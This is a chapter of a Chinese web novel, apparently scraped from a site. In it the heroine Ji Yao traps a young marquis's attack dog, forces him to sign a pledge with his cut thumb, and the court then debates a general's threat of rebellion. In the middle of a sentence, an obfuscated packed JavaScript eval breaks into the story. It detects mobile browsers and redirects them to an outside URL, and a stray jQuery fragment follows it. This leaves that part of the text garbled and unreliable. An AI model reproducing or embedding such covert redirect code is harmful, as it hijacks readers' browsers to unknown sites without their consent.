12.困兽之斗

作品:《恶女纪鹞

    纪鹞回偏院路上,敏锐地察觉到,有人在跟踪自己。


    她止住脚步,从袖子里掏出刀片。从刀片反光中,观察着后方。


    只见,不远处,一缕发带隐入拐角处。


    纪鹞佯装无事,但已然放缓脚步。


    忽地,几声狗吠响起,纪鹞立刻转身看去。


    那狗疾奔而来,体型壮硕,似一道闪电向纪鹞扑来。


    纪鹞本能地侧身躲过,却被锋利的犬齿咬破袖子。


    它猛地甩尾,爪子和地面摩擦着,好不容易才稳住身形。


    它喉咙里发出低沉的咆哮声,正在死死地盯着纪鹞,似是察觉出纪鹞的恐惧,一步步向纪鹞逼近。


    纪鹞全身僵直,透过那双泛着绿光的眼珠,彷佛看到另一条恶犬。


    那是纪灵八岁时,被人关在了狗笼里。


    也是,纪鹞第一次出现之时。


    那时,纪鹞刚醒过来,便看见一只恶犬,也是这般泛着绿光的双眼。


    它正呲着黄色的獠牙,死死地盯着纪鹞。


    纪鹞已然忘了,她是如何与恶犬相搏斗,只记得很疼,哪里都是疼的。


    她满身是血躺在地上,看着同样满是鲜血的恶犬。


    那恶犬,正趴在地下苟延残喘。


    纪鹞手撑着泥地,捡起一旁的砖头,走到恶犬的身前。


    手高高举起,又狠狠落下。


    她不是以小姑娘来对抗恶狗的,而是以困兽的姿态去战斗的。


    那充满泥土和血腥的一幕,永久地刻在纪鹞的脑海里。


    如今,纪鹞长大了。


    她频繁地深呼吸着,试图缓解身体本能的恐惧。


    纪鹞从腰侧抽出匕首,手指有些颤抖地握着刀。


    等待着它的再次袭来之时,哪怕被咬住,也要将其一刀了结。


    谁知,那狗突然摇着尾巴,往一家肉店里冲去。


    纪鹞扭头时,又一次在不远处的拐角,见到那缕发带。


    纪鹞嘴角勾起,去店里买了一块肉,挂在一个木棍上。


    那狗摇着尾巴、流着口水,一路跟在纪鹞,时不时还后肢用力,往肉上扑。


    每次,都被纪鹞迅速察觉,抬高木棍,让肉免入犬口。


    就这般,狗被纪鹞栓在院内树下。


    纪鹞随意地将肉扔到地上,便回到了屋里。


    她的心谈不上是何感觉,只是很空,空荡荡的,没有实感。


    纪鹞拿起案上的糕点,起初是慢慢地品尝,随后,狼吞虎咽起来,她根本来不及去感受食物本身的味道,只是机械地塞进嘴里。


    一盘,又一盘。


    直到撑得胃里再也放不进任何东西,她习惯性地想要吐出来。


    可是当她看到铜镜里,自己那张狼狈的脸,才想起,她再也不用顾虑纪灵怕变胖这件事,这是——只属于她纪鹞自己的身体!


    她用冷水洗着脸,一遍又一遍,她的手是红的,鼻子也是红的,眼睛亦是红的。


    纪鹞瘫坐在地上,仰靠着床榻。


    那惨淡的月色下,她的脸一半在明,一半在暗。


    月光慢慢地冻结在她那半张脸上,仿佛结了一层冰。


    陷在黑暗中的半张脸,了无生机,只能在隐约中看出点轮廓。


    被冻住的半张脸先是皱眉,然后慢慢地扭曲、再扭曲,嘴角掀起的弧度越来越大,上牙不断地撞击着下牙,直到冷酸感由牙齿传到大脑。


    纪鹞才收住那诡异的表情,重新恢复了平静,只余满眼的悲伤。


    她把自己关在屋里,看着天亮又天黑。


    纪鹞也不知道自己是何时睡过去的,她困在自己的梦里。


    梦里一直有人唱着同一首歌:


    "岂日无衣?「1」


    与子同袍。


    王于兴师,


    修我戈矛。


    与子同仇。


    岂日无衣?


    与子同泽。


    …………"


    明明是鼓舞人心的战歌,纪鹞却听出了极致的绝望与悲凉。


    一遍又一遍,在梦里循环地唱着。


    纪鹞仿佛被那歌声,狠狠扼住了喉咙,陷入梦魇,无法挣脱。


    直到一阵狗叫声传来,纪鹞才猛地睁开眼。


    她大口喘息,身上一片冷汗。


    纪鹞下意识,抹了一下眼角,是泪水。


    她头昏脑胀地侧躺在榻上,那狗还在外面狂吠着。


    纪鹞忍无可忍地拿来纸笔,给小侯爷写了一封信,让唐离送到侯府。


    侯府管家拿着信,去庭院里找到小侯爷。


    "世子爷,有个叫纪鹞的,给您写了信。"


    原本慵懒地躺在石凳上的小侯爷,立刻起身。


    那日,他跟踪纪鹞,用狗埋伏她。


    小侯爷躲在拐角处,偷偷观察着他们相斗。结果再看时,纪鹞和狗竟然一起消失了。


    他根本不知道纪鹞住在哪里,也不知是不是招摇自己跑了。


    派人找了几日,都没找到他的狗。


    小侯爷急忙打开信,信上写道:''你若不来登门道歉,我将你的狗炖了吃!''


    他刚看完,气得脸又粉又红,双手攥紧了信纸,揉成一团,扔到水池里。又觉得不解气,让管家又捞出来,晾干,接着扔。


    最后,管家累得气喘吁吁,握着那破败不堪的信纸,"世子爷,别折腾奴才这把老骨头了。"


    小侯爷的胸脯还在剧烈的起伏着,斜瞟着没用的管家,还不如招摇会讨他欢心呢!


    但他又不敢说出来,否则传到在外任职的父亲耳里,定会臭骂他一顿。


    小侯爷根据信里的地址,站在纪鹞偏院门口,犹豫许久。


    他的右脚向前迈,左脚却不由得向后退。一来二去,他竟还在原地。


    他抬头看向那丑陋的木门,在心里编排纪鹞的臭审美,又听见院子里招摇的惨叫声。


    小侯爷长吁口气,踏上了石阶。


    一进门,招摇叫得更加激烈,恨不得扑进他的怀里,脖子上的绳子却牢牢束缚着它。


    小侯爷看看招摇可怜的样子,又看看坐在石凳上,嚣张的纪鹞。


    "你敢………"


    小侯爷的怒骂还未说出,就看见纪鹞掏出了锋利的刀片,他突然想起上一次,这刀片差点插入自己的脚上。


    因此,这次他识趣地闭上嘴,谁让自己只会吃喝玩乐,不会手脚功夫。


    他梗着脖子,道:"本世子人已经来了,我要带走我的狗!"


    纪鹞给唐离使了眼色,后者


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16740197|189160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将笔墨纸砚端来上来。


    小侯爷问道:"干什么?"


    "写保证书,再有下次,我剁了你的狗!"


    "你…你…"


    他堂堂世子爷,何时受过这等委屈?


    他转身便要走,"你等着,等着我派人来收拾你。"


    纪鹞笑道:"你敢踏出这门一步试试,下一秒……这刀片就刺到狗身上。"


    小侯爷顿住片刻,无奈地提笔写着。


    不知是有意还是无意,写得比狗爬的还丑。


    他哗哗地写完,末尾签上那龙飞凤舞的大名。


    小侯爷挑起眉毛,"可以了吧!"


    纪鹞摇摇头。


    下一秒,唐离从身后,困住了小侯爷。


    "你……你们要干什么,想要谋杀本世子?我告诉你们………"


    小侯爷的话还没说话,纪鹞便利索地用刀片割破了他的大拇指。


    "啊……"


    纪鹞无视小侯爷的惨叫,抓住他的大拇指,狠狠地按在保证书上。


    小侯爷疼得眼泪都要流出来,他最怕的不是他父亲,而是疼!


    他连忙解了招摇的绳子,踏出门前,他还扬了下扎眼的发带。


    此仇不报,非君子!


    三日之期,一到。


    那在外握军权的尚啸苍,一封清君侧的奏折,快马加鞭,递到皇帝的面前。


    武阳殿内,光泽幽深的金砖之上,倒映着一众近臣凝重的脸庞。


    他们正跪在地上,头几乎贴着地面。大殿之上,唯有他们衣料的摩擦声。


    蟠龙藻井内,那条巨大的鎏金盘龙仿佛下一刻,便俯冲下来,将他们一并吞下。


    太子的视线只能触及到由紫檀木打造的高台,看不清坐在御座上之人的神色。


    "都起身吧!"


    苍老又虚弱的声音传来,不怒自威。


    "谢陛下。"


    众人连忙起身。


    "给他们读下,尚啸苍所呈的奏折。"


    内监垂着头,颤颤巍巍回道:"是!"


    内监缓缓打开奏章:


    "臣,尚啸苍,为佑我朝疆土,肝脑涂地,在所不辞。今西州危殆,流民肆虐,皆因齐州州牧永宁王,恃宠而骄,扣押军粮,残杀忠臣。其罪当诛,其心可灭!若天威不降,国法不张。臣,唯有挥师东下,清君侧,正朝纲!"


    随着声音渐起,众人脸色越来越难堪,即使早知尚啸苍怀不臣之心,但未料到竟直言威胁天子。


    一阵咳嗽声响起,皇帝虚弱地坐在明黄色的软垫上。他身后精美雕龙屏风,龙纹虽栩栩如生,却也逃不过时光磋磨,暗淡无色。


    "你们认为,朕该如何办?"


    众臣相互无言,太子不安地扣着金砖,求助般地看向太傅。


    太傅作辑道:"臣以为,永宁王一心为君,有目共睹,万不能蒙受屠害朝臣之冤。"


    皇帝手撑御案,"应太傅所言极是。"


    太傅接着道:"不论清君侧是实是虚,既然尚啸苍,谋逆之心,已然昭显。为今之计,当立刻向其余两州都督发放文书,命其早做准备。倘若尚啸苍当真挥兵东下,也可从其背后牵制住他。"


    "朕已发去文书,但皆石沉大海,了无音信。"